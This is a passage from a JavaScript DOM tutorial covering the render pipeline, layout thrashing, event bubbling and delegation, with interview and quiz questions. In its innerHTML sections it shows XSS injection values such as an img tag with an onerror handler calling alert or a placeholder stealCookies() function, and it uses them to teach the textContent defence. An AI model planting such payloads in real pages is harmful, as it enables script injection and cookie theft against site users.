└──────────────┘       ┌──────────────────────┐      │\n│                                               │ Calculate exact      │      │\n│                                               │ position & size of   │      │\n│                                               │ every element        │      │\n│                                               └──────────┬───────────┘      │\n│                                                          │                  │\n│                                                          ▼                  │\n│                                               5. PAINT                      │\n│                                               ┌──────────────────────┐      │\n│                                               │ Fill in pixels:      │      │\n│                                               │ colors, borders,     │      │\n│                                               │ shadows, text        │      │\n│                                               └──────────┬───────────┘      │\n│                                                          │                  │\n│                                                          ▼                  │\n│                                               6. COMPOSITE                  │\n│                                               ┌──────────────────────┐      │\n│                                               │ Combine layers into  │      │\n│                                               │ final image (GPU)    │      │\n│                                               └──────────────────────┘      │\n│                                                          │                  │\n│                                                          ▼                  │\n│                                               ┌──────────────────────┐      │\n│                                               │      PIXELS!         │      │\n│                                               └──────────────────────┘      │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n### What's NOT in the Render Tree\n\nThe Render Tree only contains visible elements:\n\n```html\n<!-- NOT in Render Tree -->\n<head>...</head>                    <!-- head is never rendered -->\n<script>...</script>                <!-- script tags aren't visible -->\n<link rel=\"stylesheet\">             <!-- link tags aren't visible -->\n<meta>                              <!-- meta tags aren't visible -->\n<div style=\"display: none\">Hi</div> <!-- display:none excluded -->\n\n<!-- IN the Render Tree (even if not seen) -->\n<div style=\"visibility: hidden\">Hi</div>  <!-- Takes up space -->\n<div style=\"opacity: 0\">Hi</div>          <!-- Takes up space -->\n```\n\n### Layout (Reflow) - The Expensive Step\n\nLayout calculates the **geometry** of every element: position, size, margins, etc.\n\n**Reflow is triggered when:**\n- Adding/removing elements\n- Changing element dimensions (width, height, padding, margin)\n- Changing font size\n- Resizing the window\n- Reading certain properties (more on this below!)\n\n### Paint - Drawing Pixels\n\nAfter layout, the browser paints the pixels: text, colors, images, borders, shadows.\n\n**Repaint (without reflow) happens when:**\n- Changing colors\n- Changing background-image\n- Changing visibility\n- Changing box-shadow (sometimes)\n\n### Composite - Layering\n\nModern browsers separate content into layers and use the GPU to composite them. This is why some animations are smooth:\n\n```css\n/* These properties can animate without reflow/repaint */\ntransform: translateX(100px);  /* GPU accelerated! */\nopacity: 0.5;                   /* GPU accelerated! */\n\n/* These properties cause reflow */\nleft: 100px;    /* Avoid for animations! */\nwidth: 200px;   /* Avoid for animations! */\n```\n\n---\n\n## How to Optimize DOM Performance\n\nDOM operations can be slow. Here's how to keep your pages fast.\n\n### Cache DOM References\n\n```javascript\n// Bad: Queries the DOM every iteration\nfor (let i = 0; i < 1000; i++) {\n  document.querySelector('.result').textContent += i\n}\n\n// Good: Query once, reuse\nconst result = document.querySelector('.result')\nfor (let i = 0; i < 1000; i++) {\n  result.textContent += i\n}\n\n// Even better: Build string, set once\nconst result = document.querySelector('.result')\nlet text = ''\nfor (let i = 0; i < 1000; i++) {\n  text += i\n}\nresult.textContent = text\n```\n\n### Batch DOM Updates\n\n```javascript\n// Avoid: Multiple style changes (may trigger multiple reflows)\nelement.style.width = '100px'\nelement.style.height = '200px'\nelement.style.margin = '10px'\n\n// Better: Single style assignment with cssText\nelement.style.cssText = 'width: 100px; height: 200px; margin: 10px;'\n\n// Best: Use a CSS class (cleanest and most maintainable)\nelement.classList.add('my-styles')\n\n// Good: DocumentFragment for multiple elements\nconst fragment = document.createDocumentFragment()\nitems.forEach(item => {\n  const li = document.createElement('li')\n  li.textContent = item\n  fragment.appendChild(li)\n})\nul.appendChild(fragment)  // Single DOM update\n```\n\n<Tip>\n**Why batch?** While modern browsers often optimize consecutive style changes into a single reflow, this optimization breaks if you read a layout property (like `offsetWidth`) between writes. Batching explicitly avoids this risk and makes your intent clear.\n</Tip>\n\n### Avoid Layout Thrashing\n\n**Layout thrashing** occurs when you alternate between reading and writing DOM properties:\n\n```javascript\n// TERRIBLE: Forces layout on EVERY iteration\nboxes.forEach(box => {\n  const width = box.offsetWidth      // Read (forces layout)\n  box.style.width = (width + 10) + 'px'  // Write (invalidates layout)\n})\n\n// GOOD: Batch reads, then batch writes\nconst widths = boxes.map(box => box.offsetWidth)  // Read all\nboxes.forEach((box, i) => {\n  box.style.width = (widths[i] + 10) + 'px'       // Write all\n})\n```\n\n**Properties that trigger layout when read:**\n\n| Property | What It Returns |\n|----------|-----------------|\n| `offsetWidth` / `offsetHeight` | Element's layout width/height including borders |\n| `offsetTop` / `offsetLeft` | Position relative to offset parent |\n| `clientWidth` / `clientHeight` | Inner dimensions (padding but no border) |\n| `scrollWidth` / `scrollHeight` | Full scrollable dimensions |\n| `scrollTop` / `scrollLeft` | Current scroll position |\n| `getBoundingClientRect()` | Position and size relative to viewport |\n| `getComputedStyle()` | All computed CSS values |\n\n```javascript\n// Any of these reads forces a layout calculation\nconst width = element.offsetWidth      // Layout triggered!\nconst rect = element.getBoundingClientRect()  // Layout triggered!\nconst styles = getComputedStyle(element)      // Layout triggered!\n```\n\n### Use requestAnimationFrame for Visual Changes\n\nUse **[`requestAnimationFrame()`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)** to batch visual changes with the browser's render cycle:\n\n```javascript\n// Bad: DOM changes at unpredictable times\nwindow.addEventListener('scroll', () => {\n  element.style.transform = `translateY(${window.scrollY}px)`\n})\n\n// Good: Batch visual changes with next frame\nlet ticking = false\nwindow.addEventListener('scroll', () => {\n  if (!ticking) {\n    requestAnimationFrame(() => {\n      element.style.transform = `translateY(${window.scrollY}px)`\n      ticking = false\n    })\n    ticking = true\n  }\n})\n```\n\n---\n\n## The #1 DOM Mistake: Using innerHTML with User Input\n\nThe most dangerous DOM mistake is using **[`innerHTML`](https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML)** with untrusted content. This opens your application to **Cross-Site Scripting (XSS)** attacks.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    innerHTML: THE SECURITY TRAP                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  ❌ DANGEROUS                              ✓ SAFE                        │\n│  ─────────────                             ──────                        │\n│                                                                          │\n│  User Input:                               User Input:                   │\n│  \"<img src=x onerror=alert('XSS')>\"       \"<img src=x onerror=...>\"     │\n│         │                                        │                       │\n│         ▼                                        ▼                       │\n│  element.innerHTML = userInput             element.textContent = input   │\n│         │                                        │                       │\n│         ▼                                        ▼                       │\n│  ┌─────────────────┐                      ┌─────────────────┐            │\n│  │ BROWSER PARSES  │                      │ DISPLAYED AS    │            │\n│  │ AS REAL HTML!   │                      │ PLAIN TEXT      │            │\n│  │                 │                      │                 │            │\n│  │ 🚨 Script runs! │                      │ \"<img src=...\"  │            │\n│  │ Cookies stolen! │                      │ (harmless)      │            │\n│  └─────────────────┘                      └─────────────────┘            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// ❌ DANGEROUS - Never do this with user input!\nconst username = getUserInput()  // User enters: <img src=x onerror=\"stealCookies()\">\ndiv.innerHTML = `Welcome, ${username}!`\n// The malicious script EXECUTES!\n\n// ✓ SAFE - textContent escapes HTML\nconst username = getUserInput()\ndiv.textContent = `Welcome, ${username}!`\n// Displays: Welcome, <img src=x onerror=\"stealCookies()\">!\n// The HTML is shown as text, not executed\n\n// ✓ SAFE - Create elements programmatically\nconst username = getUserInput()\nconst welcomeText = document.createTextNode(`Welcome, ${username}!`)\ndiv.appendChild(welcomeText)\n```\n\n<Warning>\n**The Trap:** `innerHTML` looks convenient, but it parses strings as real HTML. If that string contains user input, attackers can inject `<script>` tags, malicious event handlers, or other dangerous code. **Always use `textContent` for user-provided content.**\n</Warning>\n\n### Other Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Forgetting that querySelector returns null\">\n    ```javascript\n    // ❌ WRONG - Crashes if element doesn't exist\n    document.querySelector('.maybe-missing').classList.add('active')\n    // TypeError: Cannot read property 'classList' of null\n    \n    // ✓ CORRECT - Check first or use optional chaining\n    const element = document.querySelector('.maybe-missing')\n    if (element) {\n      element.classList.add('active')\n    }\n    \n    // Or use optional chaining (modern)\n    document.querySelector('.maybe-missing')?.classList.add('active')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Using childNodes instead of children\">\n    ```javascript\n    // ❌ CONFUSING - Includes whitespace text nodes!\n    const ul = document.querySelector('ul')\n    console.log(ul.childNodes.length)  // 7 (includes text nodes!)\n    \n    // ✓ CLEAR - Only element children\n    console.log(ul.children.length)  // 3 (just the <li> elements)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Layout thrashing in loops\">\n    ```javascript\n    // ❌ SLOW - Forces layout on every iteration\n    boxes.forEach(box => {\n      const width = box.offsetWidth      // READ - forces layout\n      box.style.width = width + 10 + 'px' // WRITE - invalidates layout\n    })\n    \n    // ✓ FAST - Batch reads, then batch writes\n    const widths = boxes.map(box => box.offsetWidth)  // All reads\n    boxes.forEach((box, i) => {\n      box.style.width = widths[i] + 10 + 'px'          // All writes\n    })\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Event Propagation: Bubbling and Capturing\n\nWhen an event occurs on a DOM element, it doesn't just trigger on that element. It travels through the DOM tree in a process called **event propagation**. Understanding this helps with event handling.\n\n### The Three Phases\n\nEvery DOM event goes through three phases:\n\n```\n1. CAPTURING PHASE    ↓  (from window → target's parent)\n2. TARGET PHASE       ●  (at the target element)\n3. BUBBLING PHASE     ↑  (from target's parent → window)\n```\n\n```javascript\n// Most events bubble UP by default\ndocument.querySelector('.child').addEventListener('click', (e) => {\n  console.log('Child clicked')\n})\n\ndocument.querySelector('.parent').addEventListener('click', (e) => {\n  console.log('Parent also receives the click!')  // This fires too!\n})\n```\n\n### Capturing vs Bubbling\n\nBy default, event listeners fire during the **bubbling phase** (bottom-up). You can listen during the **capturing phase** (top-down) with the third parameter:\n\n```javascript\n// Bubbling (default) — fires on the way UP\nelement.addEventListener('click', handler)\nelement.addEventListener('click', handler, false)\n\n// Capturing — fires on the way DOWN\nelement.addEventListener('click', handler, true)\nelement.addEventListener('click', handler, { capture: true })\n```\n\n```javascript\n// Practical example: see the order\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('1. Parent - capturing')\n}, true)\n\ndocument.querySelector('.child').addEventListener('click', () => {\n  console.log('2. Child - target')\n})\n\ndocument.querySelector('.parent').addEventListener('click', () => {\n  console.log('3. Parent - bubbling')\n})\n\n// Click on child outputs: 1, 2, 3\n```\n\n### Stopping Propagation\n\nYou can stop an event from traveling further:\n\n```javascript\nelement.addEventListener('click', (e) => {\n  e.stopPropagation()        // Stop bubbling/capturing\n  // Parent handlers won't fire\n})\n\nelement.addEventListener('click', (e) => {\n  e.stopImmediatePropagation()  // Stop ALL handlers, even on same element\n})\n```\n\n<Warning>\n**Use `stopPropagation()` sparingly!** It breaks event delegation and can make debugging difficult. Usually there's a better solution.\n</Warning>\n\n### Preventing Default Behavior\n\nDon't confuse propagation with default behavior:\n\n```javascript\n// Prevent the browser's default action (e.g., following a link)\nlink.addEventListener('click', (e) => {\n  e.preventDefault()   // Don't navigate\n  // Event still bubbles unless you also call stopPropagation()\n})\n\n// Common use cases:\n// - Prevent form submission: form.addEventListener('submit', e => e.preventDefault())\n// - Prevent link navigation: link.addEventListener('click', e => e.preventDefault())\n// - Prevent context menu: element.addEventListener('contextmenu', e => e.preventDefault())\n```\n\n### The `event.target` vs `event.currentTarget`\n\nThis distinction matters for event delegation:\n\n```javascript\ndocument.querySelector('.parent').addEventListener('click', (e) => {\n  console.log(e.target)        // The element that was actually clicked\n  console.log(e.currentTarget) // The element with the listener (.parent)\n  console.log(this)            // Same as currentTarget (in regular functions)\n})\n```\n\n```javascript\n// If you click on a <span> inside .parent:\n// e.target = <span>           (what you clicked)\n// e.currentTarget = .parent   (what has the listener)\n```\n\n### Events That Don't Bubble\n\nMost events bubble, but some don't:\n\n| Event | Bubbles? | Notes |\n|-------|----------|-------|\n| `click`, `mousedown`, `keydown` | Yes | Most user events bubble |\n| `focus`, `blur` | No | Use `focusin`/`focusout` for bubbling versions |\n| `mouseenter`, `mouseleave` | No | Use `mouseover`/`mouseout` for bubbling versions |\n| `load`, `unload`, `scroll` | No | Window/document events |\n\n```javascript\n// focus doesn't bubble, but focusin does\nform.addEventListener('focusin', (e) => {\n  console.log('Something in the form was focused:', e.target)\n})\n```\n\n---\n\n## Common DOM Patterns\n\n### Event Delegation\n\nInstead of adding listeners to many elements, add one to a parent. This pattern relies on **event bubbling**. When you click a child element, the event bubbles up to the parent where your listener catches it:\n\n```javascript\n// Bad: Many listeners\ndocument.querySelectorAll('.btn').forEach(btn => {\n  btn.addEventListener('click', handleClick)\n})\n\n// Good: One listener with delegation\ndocument.querySelector('.button-container').addEventListener('click', (e) => {\n  const btn = e.target.closest('.btn')\n  if (btn) {\n    handleClick(e)\n  }\n})\n```\n\nBenefits:\n- Works for dynamically added elements\n- Less memory usage\n- Easier cleanup (uses [closures](/concepts/scope-and-closures) to maintain handler references)\n\n### Checking if Element Exists\n\n```javascript\n// Using querySelector (returns null if not found)\nconst element = document.querySelector('.maybe-exists')\nif (element) {\n  element.textContent = 'Found!'\n}\n\n// Optional chaining (modern)\ndocument.querySelector('.maybe-exists')?.classList.add('active')\n\n// With getElementById\nconst el = document.getElementById('myId')\nif (el !== null) {\n  // Element exists\n}\n```\n\n### Waiting for DOM Ready\n\nListen for the **[`DOMContentLoaded`](https://developer.mozilla.org/en-US/docs/Web/API/Document/DOMContentLoaded_event)** event to know when the DOM is ready:\n\n```javascript\n// Modern: DOMContentLoaded (DOM ready, images may still be loading)\ndocument.addEventListener('DOMContentLoaded', () => {\n  console.log('DOM is ready!')\n  // Safe to query elements\n})\n\n// Full page load (including images, stylesheets)\nwindow.addEventListener('load', () => {\n  console.log('Everything loaded!')\n})\n\n// If script is at end of body, DOM is already ready\n// <script src=\"app.js\"></script> <!-- Just before </body> -->\n\n// Modern: defer attribute (script loads in parallel, runs after DOM ready)\n// <script src=\"app.js\" defer></script>\n```\n\n<Tip>\n**Best practice:** Put your `<script>` tags just before `</body>` or use the `defer` attribute. Then you don't need to wait for DOMContentLoaded.\n</Tip>\n\n---\n\n## Common Misconceptions\n\n<AccordionGroup>\n  <Accordion title=\"Misconception 1: 'The DOM is the same as my HTML source code'\">\n    **Wrong!** The DOM is NOT your HTML file. The browser:\n    \n    1. **Fixes errors** — Missing `<head>`, `<body>`, unclosed tags are auto-corrected\n    2. **Normalizes structure** — Text outside elements gets wrapped properly\n    3. **Reflects JavaScript changes** — DOM updates don't change your HTML file\n    \n    ```html\n    <!-- Your HTML file -->\n    <html>Hello World\n    \n    <!-- What the DOM looks like -->\n    <html>\n      <head></head>\n      <body>Hello World</body>\n    </html>\n    ```\n    \n    View Source shows your file. DevTools Elements shows the DOM.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 2: 'querySelector is slow, use getElementById'\">\n    **Mostly wrong!** Yes, `getElementById` is technically faster (O(1) hashtable lookup), but:\n    \n    - The difference is **microseconds** — imperceptible to users\n    - `querySelector` is more **flexible** and **readable**\n    - You'd need to call it **thousands of times in a loop** to notice\n    \n    ```javascript\n    // Both are fine for normal use\n    document.getElementById('myId')\n    document.querySelector('#myId')\n    \n    // Only optimize if you're selecting in a tight loop\n    // with performance issues (rare!)\n    ```\n    \n    **Rule:** Write readable code first. Optimize only when you have a measured problem.\n  </Accordion>\n  \n  <Accordion title=\"Misconception 3: 'display: none removes the element from the DOM'\">\n    **Wrong!** `display: none` hides the element visually, but it's still in the DOM:\n    \n    ```javascript\n    element.style.display = 'none'\n    \n    // Element is STILL in the DOM!\n    console.log(document.getElementById('hidden'))  // Element exists\n    console.log(element.parentNode)                 // Still has parent\n    \n    // To actually remove from DOM:\n    element.remove()\n    // or\n    element.parentNode.removeChild(element)\n    ```\n    \n    - `display: none` → Hidden but in DOM, not in Render Tree\n    - `visibility: hidden` → Hidden but takes up space, in Render Tree\n    - `remove()` → Actually removed from DOM\n  </Accordion>\n  \n  <Accordion title=\"Misconception 4: 'Live collections automatically update my code'\">\n    **Misleading!** Live collections (`getElementsByClassName`, `getElementsByTagName`) update automatically, but this can cause bugs:\n    \n    ```javascript\n    const items = document.getElementsByClassName('item')\n    \n    // DANGER: Removing items changes the collection while looping!\n    for (let i = 0; i < items.length; i++) {\n      items[i].remove()  // Collection shrinks, indices shift!\n    }\n    // Some items are skipped!\n    \n    // SAFE: Use static NodeList or convert to array\n    const items = document.querySelectorAll('.item')  // Static\n    items.forEach(item => item.remove())  // Works correctly\n    ```\n    \n    **Tip:** Prefer `querySelectorAll` (static) unless you specifically need live updates.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Classic Interview Questions\n\n### Question 1: What's the difference between `document.querySelector` and `document.getElementById`?\n\n<Accordion title=\"Answer\">\n| Feature | `getElementById` | `querySelector` |\n|---------|-----------------|-----------------|\n| Selector type | ID only | Any CSS selector |\n| Returns | Element or `null` | Element or `null` |\n| Speed | Faster (hashtable) | Slightly slower (parses CSS) |\n| Flexibility | Low | High |\n\n```javascript\n// getElementById — only IDs\ndocument.getElementById('myId')\n\n// querySelector — any CSS selector\ndocument.querySelector('#myId')           // Same as above\ndocument.querySelector('.card:first-child')  // Not possible with getElementById\ndocument.querySelector('[data-id=\"123\"]')    // Attribute selector\n```\n\n**Best answer:** \"getElementById is marginally faster but querySelector is more flexible. In practice, the performance difference is negligible for most applications. I prefer querySelector for consistency and flexibility.\"\n</Accordion>\n\n### Question 2: Explain event delegation and why it's useful\n\n<Accordion title=\"Answer\">\n**Event delegation** is attaching a single event listener to a parent element instead of multiple listeners to child elements. It works because events \"bubble up\" the DOM tree.\n\n```javascript\n// ❌ Without delegation — 100 listeners for 100 items\ndocument.querySelectorAll('.item').forEach(item => {\n  item.addEventListener('click', handleClick)\n})\n\n// ✓ With delegation — 1 listener handles all items\ndocument.querySelector('.container').addEventListener('click', (e) => {\n  const item = e.target.closest('.item')\n  if (item) handleClick(e)\n})\n```\n\n**Benefits:**\n1. **Memory efficient** — One listener vs. many\n2. **Works for dynamic elements** — New items automatically handled\n3. **Easier cleanup** — Remove one listener to clean up\n\n**Best answer:** Include a code example and mention `closest()` for finding the target element.\n</Accordion>\n\n### Question 3: What causes layout thrashing and how do you avoid it?\n\n<Accordion title=\"Answer\">\n**Layout thrashing** occurs when you repeatedly alternate between reading and writing DOM layout properties, forcing the browser to recalculate layout multiple times.\n\n```javascript\n// ❌ Thrashing — forces layout on EVERY iteration\nboxes.forEach(box => {\n  const width = box.offsetWidth     // READ → triggers layout\n  box.style.width = width + 10 + 'px' // WRITE → invalidates layout\n})\n\n// ✓ Batched — one layout calculation\nconst widths = boxes.map(box => box.offsetWidth)  // All reads\nboxes.forEach((box, i) => {\n  box.style.width = widths[i] + 10 + 'px'          // All writes\n})\n```\n\n**Properties that trigger layout:** `offsetWidth/Height`, `clientWidth/Height`, `getBoundingClientRect()`, `getComputedStyle()`\n\n**Best answer:** Explain the read-write-read-write pattern and show the batched solution.\n</Accordion>\n\n### Question 4: What's the difference between `innerHTML`, `textContent`, and `innerText`?\n\n<Accordion title=\"Answer\">\n| Property | Parses HTML? | Includes hidden text? | Performance | Security |\n|----------|-------------|----------------------|-------------|----------|\n| `innerHTML` | Yes | Yes | Slower | XSS risk |\n| `textContent` | No | Yes | Fast | Safe |\n| `innerText` | No | No (respects CSS) | Slowest | Safe |\n\n```javascript\n// <div id=\"el\"><span style=\"display:none\">Hidden</span> Visible</div>\n\nel.innerHTML     // \"<span style=\"display:none\">Hidden</span> Visible\"\nel.textContent   // \"Hidden Visible\"\nel.innerText     // \" Visible\" (hidden text excluded)\n```\n\n**Security warning:** Never use `innerHTML` with user input. It can execute malicious scripts (XSS attacks). Use `textContent` instead.\n\n**Best answer:** Mention the XSS security risk with innerHTML. This shows you understand real-world implications.\n</Accordion>\n\n### Question 5: How do you efficiently add 1000 elements to the DOM?\n\n<Accordion title=\"Answer\">\nUse a **DocumentFragment** to batch insertions:\n\n```javascript\n// ❌ Slow — 1000 DOM updates, 1000 potential reflows\nfor (let i = 0; i < 1000; i++) {\n  const li = document.createElement('li')\n  li.textContent = `Item ${i}`\n  ul.appendChild(li)  // Triggers update each time\n}\n\n// ✓ Fast — 1 DOM update\nconst fragment = document.createDocumentFragment()\nfor (let i = 0; i < 1000; i++) {\n  const li = document.createElement('li')\n  li.textContent = `Item ${i}`\n  fragment.appendChild(li)  // No DOM update (fragment is detached)\n}\nul.appendChild(fragment)  // Single update\n```\n\n**Alternative:** Build an HTML string and use `innerHTML` once (but only with trusted content, never user input).\n\n**Best answer:** Show the fragment approach and explain WHY it's faster (detached container, single reflow).\n</Accordion>\n\n### Question 6: What's the difference between attributes and properties?\n\n<Accordion title=\"Answer\">\n**Attributes** are defined in HTML. **Properties** are the live state on DOM objects.\n\n```html\n<input type=\"text\" value=\"initial\">\n```\n\n```javascript\nconst input = document.querySelector('input')\n\n// Attribute — original HTML value\ninput.getAttribute('value')  // \"initial\" (never changes)\n\n// Property — current live value\ninput.value  // \"initial\" initially, then whatever user types\n\n// User types \"hello\"...\ninput.getAttribute('value')  // Still \"initial\"\ninput.value                  // \"hello\"\n```\n\n| Aspect | Attribute | Property |\n|--------|-----------|----------|\n| Source | HTML markup | DOM object |\n| Type | Always string | Can be any type |\n| Updates | Manual only | Automatically with interaction |\n\n**Best answer:** Use the `<input value=\"\">` example. It's the clearest demonstration of the difference.\n</Accordion>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **The DOM is a tree** — Elements are nodes with parent, child, and sibling relationships\n\n2. **DOM ≠ HTML source** — The browser fixes errors and JavaScript modifies it\n\n3. **Use querySelector** — More flexible than getElementById, accepts any CSS selector\n\n4. **Element vs Node properties** — Use `children`, `firstElementChild`, etc. to skip text nodes\n\n5. **closest() is your friend** — Perfect for event delegation and finding ancestor elements\n\n6. **innerHTML is dangerous** — Never use with user input; use textContent instead\n\n7. **Attributes vs Properties** — Attributes are HTML source, properties are live DOM state\n\n8. **classList over className** — Use add/remove/toggle for cleaner class manipulation\n\n9. **Batch DOM operations** — Use DocumentFragment or build strings to minimize reflows\n\n10. **Avoid layout thrashing** — Don't alternate reading and writing layout properties\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between childNodes and children?\">\n    **Answer:**\n    \n    - `childNodes` returns ALL child nodes, including **text nodes** (whitespace!) and **comment nodes**\n    - `children` returns only **element nodes**\n    \n    ```javascript\n    // <ul>\n    //   <li>One</li>\n    //   <li>Two</li>\n    // </ul>\n    \n    ul.childNodes.length  // 5 (text, li, text, li, text)\n    ul.children.length    // 2 (li, li)\n    ```\n    \n    **Rule:** Use `children` unless you specifically need text/comment nodes.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is innerHTML dangerous with user input?\">\n    **Answer:** `innerHTML` parses strings as HTML, enabling **Cross-Site Scripting (XSS)** attacks:\n    \n    ```javascript\n    // User input: <img src=x onerror=\"stealCookies()\">\n    div.innerHTML = userInput  // Executes malicious code!\n    \n    // Safe: textContent escapes HTML\n    div.textContent = userInput  // Displays as plain text\n    ```\n    \n    Always sanitize HTML or use `textContent` for user-provided content.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between getAttribute('value') and .value on an input?\">\n    **Answer:**\n    \n    - `getAttribute('value')` returns the **original HTML attribute** (initial value)\n    - `.value` property returns the **current value** (what user typed)\n    \n    ```javascript\n    // <input value=\"initial\">\n    // User types \"hello\"\n    \n    input.getAttribute('value')  // \"initial\"\n    input.value                  // \"hello\"\n    ```\n    \n    Attributes are the HTML source. Properties are the live DOM state.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does closest() do and why is it useful?\">\n    **Answer:** `closest()` finds the nearest **ancestor** (including the element itself) that matches a selector:\n    \n    ```javascript\n    // <div class=\"card\">\n    //   <button class=\"btn\">Click</button>\n    // </div>\n    \n    btn.closest('.card')  // Returns the parent div\n    btn.closest('button') // Returns btn itself (it matches!)\n    btn.closest('.modal') // null (no matching ancestor)\n    ```\n    \n    **Super useful for event delegation:**\n    \n    ```javascript\n    document.addEventListener('click', (e) => {\n      const card = e.target.closest('.card')\n      if (card) {\n        // Handle click inside any card\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What causes layout thrashing and how do you avoid it?\">\n    **Answer:** Layout thrashing happens when you **alternate reading and writing** layout-triggering properties:\n    \n    ```javascript\n    // BAD: Read-write-read-write pattern\n    boxes.forEach(box => {\n      const width = box.offsetWidth     // READ → forces layout\n      box.style.width = width + 10 + 'px' // WRITE → invalidates layout\n    })\n    // Each iteration forces a new layout calculation!\n    \n    // GOOD: Batch reads, then batch writes\n    const widths = boxes.map(b => b.offsetWidth)  // All reads\n    boxes.forEach((box, i) => {\n      box.style.width = widths[i] + 10 + 'px'     // All writes\n    })\n    // Only one layout calculation!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's in the Render Tree vs the DOM?\">\n    **Answer:** The DOM contains **all nodes** from the HTML (plus JS modifications). The Render Tree contains only **visible elements** with their computed styles.\n    \n    **In DOM but NOT in Render Tree:**\n    - `<head>` and its contents\n    - `<script>`, `<link>`, `<meta>` tags\n    - Elements with `display: none`\n    \n    **In Render Tree:**\n    - Visible elements\n    - Elements with `visibility: hidden` (still take space)\n    - Elements with `opacity: 0` (still take space)\n    \n    Pseudo-elements (`::before`, `::after`) are in the Render Tree but NOT in the DOM.\n  </Accordion>\n  \n  <Accordion title=\"Question 7: getElementsByClassName vs querySelectorAll - what's different?\">\n    **Answer:**\n    \n    | Aspect | `getElementsByClassName` | `querySelectorAll` |\n    |--------|--------------------------|-------------------|\n    | Returns | HTMLCollection | NodeList |\n    | **Live** | **Yes** (updates automatically) | **No** (static snapshot) |\n    | Selector | Class name only | Any CSS selector |\n    | Speed | Slightly faster | Slightly slower |\n    \n    ```javascript\n    const live = document.getElementsByClassName('item')\n    const staticList = document.querySelectorAll('.item')\n    \n    // Add new element with class=\"item\"\n    document.body.appendChild(newItem)\n    \n    live.length       // Increased (live collection)\n    staticList.length // Same (static snapshot)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 8: How do you safely add many elements to the DOM?\">\n    **Answer:** Use a **DocumentFragment** to batch insertions:\n    \n    ```javascript\n    const fragment = document.createDocumentFragment()\n    \n    for (let i = 0; i < 1000; i++) {\n      const li = document.createElement('li')\n      li.textContent = `Item ${i}`\n      fragment.appendChild(li)  // No reflow (fragment is detached)\n    }\n    \n    ul.appendChild(fragment)  // Single reflow!\n    ```\n    \n    A DocumentFragment is a virtual container. When appended, only its children are inserted. The fragment disappears.\n    \n    Alternative: Build HTML string and use `innerHTML` once (but sanitize if user input!).\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the DOM in JavaScript?\">\n    The DOM (Document Object Model) is a programming interface that represents an HTML document as a tree of objects. As defined by the WHATWG DOM Living Standard, it provides a structured representation that JavaScript can read and modify. Every element, attribute, and text node becomes an object in this tree, allowing dynamic page manipulation.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between the DOM and HTML?\">\n    HTML is the static markup you write in a file. The DOM is the live, in-memory representation the browser creates after parsing that HTML. The browser corrects errors (adding missing tags, fixing nesting), executes JavaScript that modifies it, and keeps it in sync with what you see on screen. The DOM can differ significantly from your original HTML source.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between getElementById and querySelector?\">\n    `getElementById` finds a single element by its `id` attribute and is the fastest DOM lookup method. `querySelector` accepts any CSS selector and is more flexible, but slightly slower. According to MDN, `getElementById` is only available on the `document` object, while `querySelector` can be called on any element to search within its subtree.\n  </Accordion>\n\n  <Accordion title=\"What causes layout thrashing in the DOM?\">\n    Layout thrashing occurs when you repeatedly read layout properties (like `offsetHeight`) and then write to the DOM in the same synchronous block. Each read forces the browser to recalculate layout before returning a value, and each write invalidates that layout. According to Google's web performance research, layout thrashing is one of the most common causes of janky scrolling and slow interactions.\n  </Accordion>\n\n  <Accordion title=\"How does event delegation work in JavaScript?\">\n    Event delegation attaches a single event listener to a parent element instead of adding listeners to every child. It works because DOM events bubble up from the target through ancestor elements. You check `event.target` to identify which child was clicked. This pattern is more memory-efficient and works automatically for dynamically added elements.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript handles async operations and DOM events\n  </Card>\n  <Card title=\"JavaScript Engines\" icon=\"gear\" href=\"/concepts/javascript-engines\">\n    How V8 and other engines parse and execute your DOM code\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    Understanding variable scope in event handlers and callbacks\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"puzzle-piece\" href=\"/concepts/design-patterns\">\n    Patterns like Observer for reactive DOM updates\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Document Object Model (DOM) — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model\">\n    The comprehensive MDN reference for all DOM interfaces, methods, and properties.\n  </Card>\n  <Card title=\"Document Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document\">\n    The Document interface representing the web page loaded in the browser.\n  </Card>\n  <Card title=\"Element Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element\">\n    The base class for all element objects in a Document.\n  </Card>\n  <Card title=\"Node Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Node\">\n    The abstract base class for DOM nodes including elements, text, and 